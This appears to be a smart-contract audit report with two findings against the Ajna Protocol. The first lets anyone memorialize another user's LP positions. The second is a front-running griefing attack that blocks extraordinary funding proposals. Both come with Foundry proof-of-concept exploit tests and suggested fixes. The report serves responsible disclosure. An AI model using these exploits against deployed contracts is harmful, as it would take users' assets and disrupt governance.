Ajna Protocol - juancito's results

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-core/src/PositionManager.sol#L170-L176

Vulnerability details

Impact

Anyone can memorialize other users' positions with a given NFT and transfer ownership of the LP to the PositionManager contract.

This is an unathorized use of other user assets by any person.

Proof of Concept

This POC shows the lack of access control validation for memorializePositions(), which is in scope for this issue, as well as some additional considerations to check on out of scope resources.

PositionManager::memorializePositions() does not perform any check to see if the user can interact with the pool/token (as other functions do with the mayInteract modifier):

    function memorializePositions(
        MemorializePositionsParams calldata params_
    ) external override {
        EnumerableSet.UintSet storage positionIndex = positionIndexes[params_.tokenId];

        IPool   pool  = IPool(poolKey[params_.tokenId]);
        address owner = ownerOf(params_.tokenId);

Link to code

memorializePositions() calls pool.transferLP, which doesn't validate the owner parameter either:

    pool.transferLP(owner, address(this), params_.indexes);

The base implementation of the abstract contract Pool does not perform any check:

    function transferLP(
        address owner_,
        address newOwner_,
        uint256[] calldata indexes_
    ) external override nonReentrant {
        LPActions.transferLP(
            buckets,
            _lpAllowances,
            approvedTransferors,
            owner_,
            newOwner_,
            indexes_
        );
    }

Link to code

The LPActions library used for transferLP() doesn't perform any check on the ownerAddress_ to see if the msg.sender is allowed to call it:

    function transferLP(
        mapping(uint256 => Bucket) storage buckets_,
        mapping(address => mapping(address => mapping(uint256 => uint256))) storage allowances_,
        mapping(address => mapping(address => bool)) storage approvedTransferors_,
        address ownerAddress_,
        address newOwnerAddress_,
        uint256[] calldata indexes_
    ) external {
        // revert if msg.sender is not the new owner and is not approved as a transferor by the new owner
        if (newOwnerAddress_ != msg.sender && !approvedTransferors_[newOwnerAddress_][msg.sender]) revert TransferorNotApproved();

        // revert if new owner address is the same as old owner address
        if (ownerAddress_ == newOwnerAddress_) revert TransferToSameOwner();

Link to code

Coded POC

This test shows how anyone can call PositionManager::memorializePositions() on behalf of another person. It is based on the test testMemorializePositions(), with the addition of the changePrank(address(666)); line to demonstrate the issue.

Add this test to ajna-core/tests/forge/unit/PositionManager.t.sol and run forge test -m "testMemorializePositions_Anyone":

    function testMemorializePositions_Anyone() external {
        address testAddress = makeAddr("testAddress");
        uint256 mintAmount  = 10000 * 1e18;

        _mintQuoteAndApproveManagerTokens(testAddress, mintAmount);

        // call pool contract directly to add quote tokens
        uint256[] memory indexes = new uint256[](3);
        indexes[0] = 2550;
        indexes[1] = 2551;
        indexes[2] = 2552;

        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[0]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[1]
        });
        _addInitialLiquidity({
            from:   testAddress,
            amount: 3_000 * 1e18,
            index:  indexes[2]
        });

        // mint an NFT to later memorialize existing positions into
        uint256 tokenId = _mintNFT(testAddress, testAddress, address(_pool));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2550));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2551));
        assertFalse(_positionManager.isIndexInPosition(tokenId, 2552));

        // construct memorialize params struct
        IPositionManagerOwnerActions.MemorializePositionsParams memory memorializeParams = IPositionManagerOwnerActions.MemorializePositionsParams(
            tokenId, indexes
        );

        // allow position manager to take ownership of the position
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 3_000 * 1e18;
        amounts[1] = 3_000 * 1e18;
        amounts[2] = 3_000 * 1e18;
        _pool.increaseLPAllowance(address(_positionManager), indexes, amounts);

        // memorialize quote tokens into minted NFT
        vm.expectEmit(true, true, true, true);
        emit TransferLP(testAddress, address(_positionManager), indexes, 9_000 * 1e18);
        vm.expectEmit(true, true, true, true);
        emit MemorializePosition(testAddress, tokenId, indexes);
        changePrank(address(666));   // <========================== @audit can be called by anyone
        _positionManager.memorializePositions(memorializeParams);

        // check memorialization success
        uint256 positionAtPriceOneLP = _positionManager.getLP(tokenId, indexes[0]);
        assertGt(positionAtPriceOneLP, 0);

        // check lps at non added to price
        uint256 positionAtWrongPriceLP = _positionManager.getLP(tokenId, uint256(MAX_BUCKET_INDEX));
        assertEq(positionAtWrongPriceLP, 0);

        assertTrue(_positionManager.isIndexInPosition(tokenId, 2550));
        assertTrue(_positionManager.isIndexInPosition(tokenId, 2551));
        assertTrue(_positionManager.isIndexInPosition(tokenId, 2552));
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Validate that the user can interact with the corresponding pool/token:

    function memorializePositions(
        MemorializePositionsParams calldata params_
-   ) external override {
+   ) external mayInteract(poolKey[params_.tokenId], params_.tokenId) override {

Additionally check if a similar validation should be added to the transferLP() of the library LPActions.sol or the abstract Pool.sol.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L85-L92 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L94 https://github.com/code-423n4/2023-05-ajna/blob/main/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L139-L141

Vulnerability details

Impact

A griefing attack can be conducted to prevent the creation of any extraordinary funding proposal, or targetting specific receivers.

The cost of performing the attack is low, only involving the gas payment for the transaction.

Proof of Concept

ExtraordinaryFunding::proposeExtraordinary() hashes all its inputs except for endBlock_ when creating the proposalId:

    function proposeExtraordinary(
        uint256 endBlock_,
        address[] memory targets_,
        uint256[] memory values_,
        bytes[] memory calldatas_,
        string memory description_) external override returns (uint256 proposalId_) {

        proposalId_ = _hashProposal(targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, keccak256(bytes(description_)))));

Link to code

This allows an adversary to frontrun the transaction, and create an exact proposal, but with an endBlock that will the proposal expire instantly, in a past block or whenever they want.

        ExtraordinaryFundingProposal storage newProposal = _extraordinaryFundingProposals[proposalId_];
        // ...
        newProposal.endBlock        = SafeCast.toUint128(endBlock_);

Link to code

Nobody will be able to vote via ExtraordinaryFunding::voteExtraordinary, as the transaction will revert because of proposal.endBlock < block.number:

        if (proposal.startBlock > block.number || proposal.endBlock < block.number || proposal.executed) {
            revert ExtraordinaryFundingProposalInactive();
        }

Link to code

With no votes, the proposal can't be executed.

Coded Proof of Concept

This test demonstrates how an adversary can frontrun the creation of an extraordinary proposal with a value of endBlock that will the proposal "end" instantly, while preventing the intended proposal to be created.

Add this test to ajna-grants/test/unit/ExtraordinaryFunding.t.sol and run forge test -m "testProposeExtraordinary_Frontrun":

    function testProposeExtraordinary_Frontrun() external {
        // The user that will try to propose the funding
        changePrank(_tokenHolder1);

        // 14 tokenholders self delegate their tokens to enable voting on the proposals
        _selfDelegateVoters(_token, _votersArr);

        vm.roll(_startBlock + 100);

        // set proposal params
        uint256 endBlockParam = block.number + 100_000;
        uint256 tokensRequestedParam = 50_000_000 * 1e18;

        // generate proposal targets
        address[] memory targets = new address[](1);
        targets[0] = address(_token);

        // generate proposal values
        uint256[] memory values = new uint256[](1);
        values[0] = 0;

        // generate proposal calldata
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSignature(
            "transfer(address,uint256)",
            _tokenHolder1,
            tokensRequestedParam
        );

        /***********************************
         *          ATTACK BEGINS          *
         ***********************************/

        // An attacker sees the proposal in the mempool and frontruns it.
        // By setting an `endBlock_ == 0`, it will create a "defeated" proposal.
        // So when the actual user tries to send the real proposal, that one will revert.
        address attacker = makeAddr("attacker");
        changePrank(attacker);
        uint256 pastEndBlockParam = 0; // @audit 
        uint256 proposalId = _grantFund.proposeExtraordinary(
            pastEndBlockParam, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address"
        );

        // Verify that the proposal is created and has a `Defeated` state
        IFunding.ProposalState proposalState = _grantFund.state(proposalId);
        assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Defeated));

        /***********************************
         *           ATTACK ENDS           *
         ***********************************/

        // When the user tries to send the proposal it will always revert.
        // As a previous proposal with the same hash has been already sent, despite that having a malicious `endBlockParam`.
        changePrank(_tokenHolder1);
        vm.expectRevert(IFunding.ProposalAlreadyExists.selector);
        _grantFund.proposeExtraordinary(
            endBlockParam, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address"
        );
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Add endBlock_ to the hash of the proposal. This way there will be no impact in frontrunning the transaction, as the expected proposal will be stored.

    function proposeExtraordinary(
        uint256 endBlock_,
        address[] memory targets_,
        uint256[] memory values_,
        bytes[] memory calldatas_,
        string memory description_) external override returns (uint256 proposalId_) {

-       proposalId_ = _hashProposal(targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, keccak256(bytes(description_)))));
+       proposalId_ = _hashProposal(endBlock_, targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, keccak256(bytes(description_)))));

    function executeExtraordinary(
+       uint256 endBlock_,
        address[] memory targets_,
        uint256[] memory values_,
        bytes[] memory calldatas_,
        bytes32 descriptionHash_
    ) external nonReentrant override returns (uint256 proposalId_) {
-       proposalId_ = _hashProposal(targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, descriptionHash_)));
+       proposalId_ = _hashProposal(endBlock_, targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, descriptionHash_)));

Assessed type

Other